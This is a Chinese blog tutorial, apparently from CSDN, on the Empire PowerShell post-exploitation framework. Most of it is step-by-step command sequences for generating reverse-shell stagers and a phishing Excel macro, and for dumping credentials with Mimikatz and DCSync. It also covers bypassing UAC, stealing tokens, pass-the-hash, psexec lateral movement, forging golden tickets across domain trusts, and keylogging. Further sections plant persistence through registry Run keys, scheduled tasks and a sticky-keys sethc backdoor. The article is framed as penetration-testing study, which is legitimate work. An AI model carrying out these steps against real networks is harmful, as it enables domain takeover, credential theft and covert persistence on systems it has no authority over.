后渗透测试神器Empire的详解

最新推荐文章于 2024-05-06 14:11:17 发布
最新推荐文章于 2024-05-06 14:11:17 发布
阅读量1.4w 收藏 57
点赞数 7
分类专栏： 【渗透工具】 # 其他常用工具 # 信安文章

一、前言

Empire是一个PowerShell后期漏洞利用代理工具同时也是一款很强大的后渗透测神器，它建立在密码学、安全通信和灵活的架构之上。Empire实现了无需powershell.exe就可运行PowerShell代理的功能。快速部署后期漏洞利用模块，从键盘记录器到Mimikatz，并且能够适应通信躲避网络检测，所有的这些功能都封装在一个以实用性为重点的框架中

二、empire使用详解

1.Empire 的安装

wget https://raw.githubusercontent.com/backlion/demo/master/Empire-master.zip
unzip Empire-master.zip
cd  Empire-master
cd setup/
./install.sh
(最后输入数据库密码)

注意：新版本貌似有点小问题，我这里采用2015年旧版本可以正常使用.新版本命令有所改变。
重新恢复到初始状态：

root@backlion:/opt/Empire-master# cd setup/
root@backlion:/opt/Empire-master/setup# ls
root@backlion:/opt/Empire-master/setup#

2.简单命令使用

cd  Empire-master
./empire


(Empire) > help #主菜单帮助命令


(Empire) > listeners #查看本地监听代理地址，现在还没有会话代理,所以为空


(Empire: listeners) > info #列出详细信息


(Empire: listeners) > set Name bk #设置Name为bk

(Empire: listeners) > execute #执行命令，这条命令将其name设置生效


(Empire: listeners) > usestager launcher bk #调用posershell模块并, name为bk


(Empire: agents) > interact USSZC2P1XCTBKYGH

(Empire: USSZC2P1XCTBKYGH) > upload /tmp/test.hta #文件上传

(Empire: USSZC2P1XCTBKYGH) > shell dir



(Empire: USSZC2P1XCTBKYGH) > download test.hta #文件下载


代理监听IP地址更改：

通过kali下的SQLiteBrowser打开empire下data目录下的数据库empire.db修改监听IP


3.生成反弹shell代理：

3.1 posershell反弹shell代理

(Empire: listeners) > usestager（空格+tab） #查看usestager监听模块


(Empire: listeners) > usestager launcher test #调用powershell模块，test为name名称,这里的name需要提前设置,否则无法导入模块


(Empire: stager/launcher) > execute #执行命令


将上面生成的posershell命令在win7及系统以上执行：


执行命令后Empire端会显示监听成功：



3.2 vbs反弹shell代理

(Empire: listeners) > usestager launcher_vbs test


(Empire: stager/launcher_vbs) > execute #执行命令


将launcher.vbs拷贝到目标主机上执行：


执行命令后Empire端显示监听成功：

(Empire: stager/launcher_vbs) > execute


3.3 钓鱼宏代理

在empire端执行：

(Empire: listeners) > usestager macro bk
(Empire: stager/macro) > info
(Empire: stager/macro) > execute
root@backlion:~#cat  /tmp/macro



将生产的代码复制创建到execl的宏代码中：



这里是将保存为execl2003的文档并执行：


4.代理界面的命令使用

(Empire: stager/launcher_vbs) > agents #查看代理情况，带有（*）的是已被提升过的代理，可通过bypassuac进行提权


(Empire: agents) > rename EEDLABPF43FAGWHZ DC #重新命名代理名


(Empire: agents) > list #列出代理


(Empire: agents) > list stale #列出已丢失反弹代理


(Empire: agents) > remove stale #删除已丢失反弹代理

(Empire: agents) > list



(Empire: agents) > interact Y1DMVFG4CGKB24KP #进入到某个代理主机中，这里注意的是带有*的用户名对应的代理是具有管理员高权限代理。如果是没有需要提权。


(Empire: Y1DMVFG4CGKB24KP) > help #代理界面的命令使用帮助


(Empire: TKRTTL2V3BNRVDK4) > mimikatz #加载mimikatz获取hash


(Empire: TKRTTL2V3BNRVDK4) > creds #查看所有hash值包括明文


(Empire: DGPWHW4E2Z2NT3PL) > creds krbtgt #搜索特定用户的krbtgt


(Empire: DGPWHW4E2Z2NT3PL) > creds plaintext #搜索hash中的明文


(Empire: DGPWHW4E2Z2NT3PL) > creds hash #列出所有hash值（不包括明文）


(Empire: DGPWHW4E2Z2NT3PL) > creds export /opt/hash.csv #导出hash凭证到指定的格式

root@backlion:/opt# cat hash.csv



(Empire: TKRTTL2V3BNRVDK4) > shell ipconfig #查看IP地址

(Empire: TKRTTL2V3BNRVDK4) > shell net localgroup administrators #查看管理员组



(Empire: TKRTTL2V3BNRVDK4) > back #返回上一层


5.模块化使用案列：

5.1检查UAC提权方法模块

(Empire: agents) > interact P2V4CXEGRPHUD43T #进入到代理主机

(Empire: P2V4CXEGRPHUD43T) > usemodule（空格+tab键） #查看usemodule的模块，注意需要在进入到代理主机才能使用该模块,UAC提权需要是管理员组的用户才行



(Empire: P2V4CXEGRPHUD43T) > usemodule privesc/powerup/allchecks #检查提权方法模块


(Empire: privesc/powerup/allchecks) > execute #执行检查


(Empire: privesc/powerup/allchecks) > back #返回上一命令界面

5.2 UAC提权模块
(Empire: P2V4CXEGRPHUD43T) > bypassuac test #执行uac提权，这里的test就是默认的name,可以自定义，貌似有问题，建议默认就可以了。


(Empire: P2V4CXEGRPHUD43T) > agents #查看到提权后UAC的name对应主机（带有*的用户的name,表示代理已提权过）


(Empire: agents) > interact P2V4CXEGRPHUD43T #进入提权后的的uac主机

(Empire: P2V4CXEGRPHUD43T) > ps #查看进程


5.3 本地管理组访问模块

(Empire: HPEUGGBSPSAPWGZW) >usemodule situational_awareness/network/find_localadmin_access #加载本地管理组访问模块

(Empire: situational_awareness/network/find_localadmin_access) > info #查看信息



(Empire: situational_awareness/network/find_localadmin_access) > execute #执行命令


(Empire: situational_awareness/network/find_localadmin_access) > back #返回上一命令界面

5.4用户账号枚举信息

(Empire: HPEUGGBSPSAPWGZW) > situational_awareness/network/get_use 
(Empire: situational_awareness/network/get_user) > set UserName  bk
(Empire: situational_awareness/network/get_user) > set Domain bk.com
(Empire: situational_awareness/network/get_user) > execute #这里可以累出具体某个用户的信息

5.5网络用户会话登录情况
(Empire: HPEUGGBSPSAPWGZW) >usemodule situational_awareness/network/userhunter
(Empire: situational_awareness/network/userhunter) > info
(Empire: situational_awareness/network/userhunter) > execute  #这里可以清楚得到那个用户登录给某台主机



5.6 网络扫描
(Empire: HPEUGGBSPSAPWGZW) > shell ping  -a -n 1  192.168.99.104 #这里ping管理员登录过的会话IP地址所得到主机名
(Empire: HPEUGGBSPSAPWGZW) > usemodule  situational_awareness/network/arpscan
(Empire: situational_awareness/network/arpscan) > info
(Empire: situational_awareness/network/arpscan) > set Range 10.0.0.100-10.0.0.254
(Empire: situational_awareness/network/arpscan) > info
(Empire: situational_awareness/network/arpscan) > execute



5.6 DNS信息获取
(Empire: situational_awareness/network/arpscan) >usemodule situational_awareness/network/reverse_dns
(Empire: situational_awareness/network/reverse_dns) > info
(Empire: situational_awareness/network/reverse_dns) > execute


5.7 共享文件
(Empire: situational_awareness/network/reverse_dns) >usemodule situational_awareness/network/sharefinder
(Empire: situational_awareness/network/sharefinder) > info
(Empire: situational_awareness/network/sharefinder) > set  CheckShareAccess  True
(Empire: situational_awareness/network/sharefinder) > execute



5.8 会话令牌偷取获取目标访问权限
(Empire: agents) > interact S4DU3VSRKR3U1DDF
(Empire: S4DU3VSRKR3U1DDF) > ps cmd
(Empire: S4DU3VSRKR3U1DDF) > steal_token  3716
(Empire: S4DU3VSRKR3U1DDF) > shell dir \\SCAN03\c$




5.9 psexec模块横向生成一个反弹代理
(Empire: S4DU3VSRKR3U1DDF) > usemodule lateral_movement/invoke_psexec
(Empire: lateral_movement/invoke_psexec) > info
(Empire: lateral_movement/invoke_psexec) > set Listener test
(Empire: lateral_movement/invoke_psexec) > set ComputerName SCAN03
(Empire: lateral_movement/invoke_psexec) > execute
Empire: lateral_movement/invoke_psexec) > agents



5.10 会话注入得到反弹代理
(Empire: agents) > interact YU3NGBFBPGZTV1DD
(Empire: YU3NGBFBPGZTV1DD) > ps cmd
(Empire: YU3NGBFBPGZTV1DD) > usemodule management/psinject
(Empire: management/psinject) > info
(Empire: management/psinject) > set ProcId 6536 #注入进程建议是lass.exe对应的进程
(Empire: management/psinject) > set  Listener test
(Empire: management/psinject) > execute
(Empire: management/psinject) > agents






5.11 Empire和msf的联动

在empire终端执行：

(Empire: agents) > interact XCLLHZZPAWPN1REL
(Empire: XCLLHZZPAWPN1REL) > usemodule code_execution/invoke_shellcode
(Empire: code_execution/invoke_shellcode) > info
(Empire: code_execution/invoke_shellcode) > set Lhost  10.0.0.86
(Empire: code_execution/invoke_shellcode) > set Lport 4433
(Empire: code_execution/invoke_shellcode) > execute



在msf终端执行(这里和empire同一个主机上）

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit(handler) > set lhost 10.0.0.86
msf exploit(handler) > set lport 4433
msf exploit(handler) > set exitsession false
msf exploit(handler) > exploit -j


5.12 pass the hash
(Empire: XCLLHZZPAWPN1REL) > creds
(Empire: XCLLHZZPAWPN1REL) > pth  7  #进入到令牌pth的cerdiD值
(Empire: XCLLHZZPAWPN1REL) > steal_token  12004  #偷取令牌PID值
(Empire: XCLLHZZPAWPN1REL) > dir  \\SCAN03\c$ #利用获取到目标令牌会话来访问目标权限的共享目录
(Empire: XCLLHZZPAWPN1REL) > revtoself   #将恢复令牌权限回到原来的状态。




5.13 psexec横向渗透
(Empire: HPEUGGBSPSAPWGZW) > usemodule lateral_movement/invoke_psexec #使用该模块横向渗透
(Empire: lateral_movement/invoke_psexec) > info 
(Empire: lateral_movement/invoke_psexec) > set ComputerName SCAN03.bk.com 
(Empire: lateral_movement/invoke_psexec) > set Listener test
(Empire: lateral_movement/invoke_psexec) > execute





5.14 域的krbtgt值
(Empire: EEDLABPF43FAGWHZ) > usemodule credentials/mimikatz/dcsync  #获取域的krbtgt值，这里注意的是域需要域管理员身份才能获取，普通工作组账户的krbtgt需要管理员身份
(Empire: credentials/mimikatz/dcsync) > set user dc2\krbtgt
(Empire: credentials/mimikatz/dcsync) > info
(Empire: credentials/mimikatz/dcsync) > execute




5.15 Golden Tickets
(Empire: EEDLABPF43FAGWHZ) > usemodule credentials/mimikatz/golden_ticket
(Empire: credentials/mimikatz/golden_ticket) > creds
(Empire: credentials/mimikatz/golden_ticket) > set CredID 1
(Empire: credentials/mimikatz/golden_ticket) > set user  administrator
(Empire: credentials/mimikatz/golden_ticket) > execute
(Empire: credentials/mimikatz/golden_ticket) >usemodule credentials/mimikatz/purge  #清理黄金票据会话
(Empire: credentials/mimikatz/golden_ticket) > execute



5.16 获取系统日志事件
(Empire: situational_awareness/network/reverse_dns) >usemodule situational_awareness/host/computerdetails
(Empire: situational_awareness/host/computerdetails) > info
(Empire: situational_awareness/host/computerdetails) > execute



5.17 收集目标主机有用的信息
(Empire: agents) > interact EEDLABPF43FAGWHZ
(Empire: EEDLABPF43FAGWHZ) > usemodule situational_awareness/host/winenum
(Empire: situational_awareness/host/winenum) > info
(Empire: situational_awareness/host/winenum) > info


5.18 查看网络共享
(Empire: EEDLABPF43FAGWHZ) >usemodule  situational_awareness/network/stealth_userhunter
(Empire: situational_awareness/network/stealth_userhunter) > info
(Empire: situational_awareness/network/stealth_userhunter) > execute



5.19 桌面截屏
(Empire: USSZC2P1XCTBKYGH) > usemodule collection/screenshot
(Empire: collection/screenshot) > info
(Empire: collection/screenshot) > execute

(Empire: collection/screenshot) > usemodule collection/keylogger
(Empire: collection/keylogger) > info
(Empire: collection/keylogger) > execute


5.20 权限持久性的注册表注入
(Empire: EEDLABPF43FAGWHZ) > usemodule persistence/userland/registry
(Empire: persistence/userland/registry) > info
(Empire: persistence/userland/registry) > set Listener bk
(Empire: persistence/userland/registry) >set RegPath HKCU:Software\Microsoft\Windows\CurrentVersion\Run
(Empire: persistence/userland/registry) > execute





5.21 权限持久性的计划任务注册

在empire上执行计划任务：

(Empire: WC1PKXFTA4KNTFN4) > usemodule persistence/userland/schtasks
(Empire: persistence/userland/schtasks) > info
(Empire: persistence/userland/schtasks) > set Listener bk
(Empire: persistence/userland/schtasks) > set DailyTime  05:00
(Empire: persistence/userland/schtasks) >set RegPath HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\Run
(Empire: persistence/userland/schtasks) > execute






同时在目标主机上查看计划任务和注册表情况可以看到成功创建：



5.22 权限持久性的AD用户是否存在触发
(Empire: AG2RV3CFLLY4PZZ4) > usemodule persistence/powerbreach/deaduser
(Empire: persistence/powerbreach/deaduser) > info
(Empire: persistence/powerbreach/deaduser) > set Username  DC2\test
(Empire: persistence/powerbreach/deaduser) > set Listener bk
(Empire: persistence/powerbreach/deaduser) > execute

只要AD域管理员上修改用户名或者删除用户名就会触发生产后门，这里是将test用户修改为bk，马上触发条件。



5.21权限持久性劫持shift后门
(Empire: ASMR14VVZG4A33AE) > usemodule lateral_movement/invoke_wmi_debugger
(Empire: lateral_movement/invoke_wmi_debugger) > info
(Empire: lateral_movement/invoke_wmi_debugger) > set Listener  bk
(Empire: lateral_movement/invoke_wmi_debugger) > set TargetBinary sethc.exe
\#注意这里可以将sethc.exe替换为Utilman.exe（快捷键为: Win + U）或者osk.exe（屏幕上的键盘Win + U启动再选择）Narrator.exe (启动讲述人Win + U启动再选择) Magnify.exe(放大镜Win + U启动再选择）
(Empire: lateral_movement/invoke_wmi_debugger) > set ComputerName  CLINCET2
(Empire: lateral_movement/invoke_wmi_debugger) > execute
在目标主机上远程登录的时候按5次shift即可触发后门代理




6.子域和父域的信任跳转

  1. lab.local和dev.lab.local分别为父域和子域，现已得到子域的反弹代理。
  2. 在子域上通过：

usemodule situational_awareness/network/powerview/get_domain_trust模块来检查子域和父域的信任关系（dev.lab.local 和他的父域lab.local是双向信任，子域的DA证书来控制整个域）


  • 得到父域lab.local的LAB\krbtg账号sid值，这里使用模块

usemodule management/user_to_sid,并设置域，以及用户名


4、通过模块usemodule credentials/mimikatz/dcsync获取子域账号krbtgt的hash值，这里只需设置子域账号即可


5、通过creds krbtget 搜索子域krbtget的hash值：


6.通过黄金票据来伪造（usemodule credentials/mimikatz/golden_ticket）父域lab.local\Enterprise管理员账号，这里需要设置伪造的用户为子域中的一个普通账号，设置sids为父域krbtget的sid值需要把后面的502改成519,最后执行


7.通过模块usemodule credentials/mimikatz/dcsync获取父域账号krbtgt的hash值，这里只需设置子域账号，以及父域的名称


8.再次通过creds krbtgt搜索出hash 值可得到父域的hash值：


9.子域具有访问父域的共享文件权限

(Empire: DGPWHW4E2Z2NT3PL) >usemodule credentials/mimikatz/golden_ticket t
(Empire: DGPWHW4E2Z2NT3PL) > set CredID 14
(Empire: DGPWHW4E2Z2NT3PL) > set user lolhax
(Empire: DGPWHW4E2Z2NT3PL) >set sids 95505cle3d98a458128845353b988
(Empire: DGPWHW4E2Z2NT3PL) >execute


三、emprie总结

通过一系列学习emprie功能，它可以联动MSF进行更为强大的后渗透测试，甚至包括强大的权限持久性以及对域的渗透丰富功能模块。

FLy_鹏程万里
关注
  • 7
    点赞
  • 踩
  • 57
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
PowerShell Empire教程使用（Windows、域、后渗透工具）
墨痕诉清风的博客
10-08 352
listeners 监听器接收来自 agent 的入站连接（相当于 msf 的multi/handler）stagger 工作在目标主机上，回连 listeners，进而传输分阶段的 Payload。
Empire-db-开源
07-09
Empire-db 是 Java 的关系数据持久化组件。 与 Hibernate 不同的是，它使用 Java 对象模型映射、具有全面元数据支持的动态 bean 和直观、类型安全且无字符串的 SQL 命令 API。
Empire的安装与使用
npc88888的博客
03-21 1019
如:del test.txt删除文件，upload test.txt(文件要放在Empire目录下)，cat test.txt 查看文件内容,sc截屏命令，截屏以后保存在显示的文件夹内。Usestager windows/launcher_bat 选择windows/launcher_bat模块。Back 退出监听器，list可以查看有多少个监听器，kill test 可以删除名为test的监听器。因为这个文件生成在empire容器内，是访问不到的，要把这个文件移动到~/var/www/html。
在kali安装Empire最新（新手必看）
最新发布
m0_62363483的博客
05-06 236
慢慢等它加载，加载完了，再执行一次./install.sh 结束后还要反复执行./install.sh看看所有东西是否下载完了， 过程很漫长。cd Empire/steup，输入：./install.sh （如果第一次安装很可能会出现各种错误）先输入：./ps-empire server （这一步可能会出现很多红色的字，不管吧(•_•)）加载好后到另一个终端输入：./ps-empire client。正常现象，多试试，建议早上弄吧，拷贝也可以。
Powershell Empire的使用
她叫常玉莹
07-04 4032
EmpireEmpire简介使用方法设置监听生成木马DLL木马launcherlauncher_vbs木马launcher_bat 木马Macro木马Ducky连接主机信息收集屏幕截图键盘记录剪贴板记录查找共享收集目标主机信息ARP扫描DNS信息获取查找域管登陆服务器IP本地管理组访问模块提权Bypass UACbypassuac_wscriptPowerUpAllChecks模块GPP横向渗透会话注入Invoke-PsExecInvoke-WMIPowerShell Remoting后门权限持久性劫持sh
检测并移除WMI持久化后门
weixin_41082546的博客
05-05 1142
WMI型后门只能由具有管理员权限的用户运行。WMI后门通常使用powershell编写的，可以直接从新的WMI属性中读取和执行后门代码，给代码加密。通过这种方式攻击者会在系统中安装一个持久性的后门，且不会在磁盘中留下任何文件。 　　WMI型后门主要有两个特征：无文件和无进程。其基本原理是：将代码加密存储在WMI中，达到所谓的无文件；当设定的条件满足时，系统将自动启动powershell进程去执行...
Empire – PowerShell 后渗透攻击框架
banacyo14206的博客
09-12 646
0x01 简介 Empire是一个后渗透攻击框架。它是一个纯粹的PowerShell代理，具有加密安全通信和灵活架构的附加功能。Empire具有在不需要PowerShell.exe的情况下执行PowerShell代理的方法。它可以迅速采用可后期利用的模块，涵盖范围广泛，从键盘记录器到mimikatz等。这个框架是PowerShell Empire和Python Empire项目的组合;...
empire框架2022最新版本
06-28
Empire是一款针对Windows平台的、使用Powershell脚本作为攻击载荷的渗透攻击框架工具，具有从stager生成、提权到渗透维持的一系列功能。 Empire实现了无需powshell.exe就可运行Powershell代理的功能，还可以快速在...
empire-web:PowerShell Empire Web界面
05-14
运行Empire REST API服务器获取PowerShell Empire： : ./empire --rest --restport <port> --username <empire> --password <empire> 例如： ./empire --rest --restport 1337 --username admin --password 3mpir3...
Empire学习笔记.pdf
09-25
配合上一篇Empire知识点梳理食用更佳喔
Empire知识点梳理
09-25
Empire笔记、思维导图
Starkiller:Starkiller是PowerShell Empire的前端
03-20
星际杀手 ...当前已经使用纱1.22.0进行了测试。 yarn install 编译和热重装以进行开发 yarn electron:serve 编译和最小化生产 yarn electron:build # Or to target a specific OS. yarn electron:
FDTD软件Empire设计UWB天线（免费）-综合文档
05-25
an_empire-uwb2News Release UWB ……
这是一个关于内网渗透的文档
09-14
这个是属于empire内网渗透的这么一篇文档，里面感觉还不错。挺干的吧，适合小白
诸侯安置Empire
12-01
很久以前，有一个强大的帝国，它的国土成正方形状，如图2 2所示。 这个国家有若干诸侯。... empire.in 2 2 empire.out 4 【样例说明】 四种安置方案如图2-4所示。注意：镜面和旋转的情况属于不同的方案。
Sleight:Empire HTTP（S）C2重定向器设置脚本
05-02
输入您的Empire C2的IP地址和监听端口。 对HTTPS提示符说不。 输入一个站点以将所有无效请求重定向到。 启动Empire HTTP侦听器，并将“主机”属性设置为重定向器的域。HTTP重定向器参考： 2）设置HTTPS重定向器： ...
Kali [Empire] 后渗透测试
weixin_45253622的博客
03-23 852
Empire的使用 安装 git clone https://github.com/EmpireProject/Empire.git cd setup ./install.sh 进入Empire目录，./empire 打开Empire 输入help查看帮助 启动 ./empire
Empire
mingyqf的博客
01-15 708
本文参考：C1ay：https://www.anquanke.com/post/id/236174#h3-4 Empire 一、Empire简介 ​ Empire是一款针对Windows平台的、使用Powershell脚本作为攻击载荷的渗透攻击框架工具，具有从stager生成、提权到渗透维持的一系列功能。Empire实现了无需powshell.exe就可运行Powershell代理的功能，还可以快速在后期部署漏洞利用模块，其内置模块有键盘记录、Mimikatz、绕过UAC、内网扫描等，使用能够躲避内网检测喝
Empire框架的基本使用
weixin_45007073的博客
05-23 557
EmpireEmpire的安装生成木马 Empire的安装 首先我们使用git命令将Empire安装包下载到本地 git clone https://github.com/EmpireProject/Empire 然后我们使用help命令查看帮助信息 然后我们设置一个http监听模式，并查看其帮助信息，命令如下 listeners uselistener http info 然后我们开启监听，设置名称和其IP地址(服务器IP) 我们返回后台，可以看到有一个进程正在运行，我们可以使用kill命令将其
基于python的渗透测试
05-04
Python是一种强大的编程语言，可以用于编写各种类型的攻击工具和渗透测试脚本。以下是一些基于Python的渗透测试工具和框架： 1. Metasploit Framework：Metasploit是一种流行的漏洞评估工具，它使用Ruby编写。但是，Metasploit也提供了一个Python接口，可以使用Python编写攻击脚本。 2. Scapy：Scapy是一种强大的网络包分析工具，可以用于创建和发送定制的网络数据包。它可以用于测试网络设备和应用程序的安全性。 3. Pytbull：Pytbull是一个基于Python的网络漏洞评估工具，它可以用于执行各种类型的漏洞扫描和攻击测试。 4. Nmap：Nmap是一种流行的网络端口扫描工具，它可以用Python编写扫描脚本。 5. Sqlmap：Sqlmap是一种自动化SQL注入工具，可以用于测试Web应用程序的安全性。它使用Python编写。 6. Empire：Empire是一个基于Python的后渗透测试框架，它提供了一组强大的工具和技术，用于在目标系统上执行各种类型的攻击。 7. Dirsearch：Dirsearch是一种基于Python的Web目录扫描工具，可以用于查找Web应用程序中的隐藏目录和文件。 这些工具和框架都是基于Python编写的，可以用于执行各种类型的渗透测试和攻击任务。然而，渗透测试是一项复杂的任务，需要进行充分的规划和准备，以确保安全和有效性。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值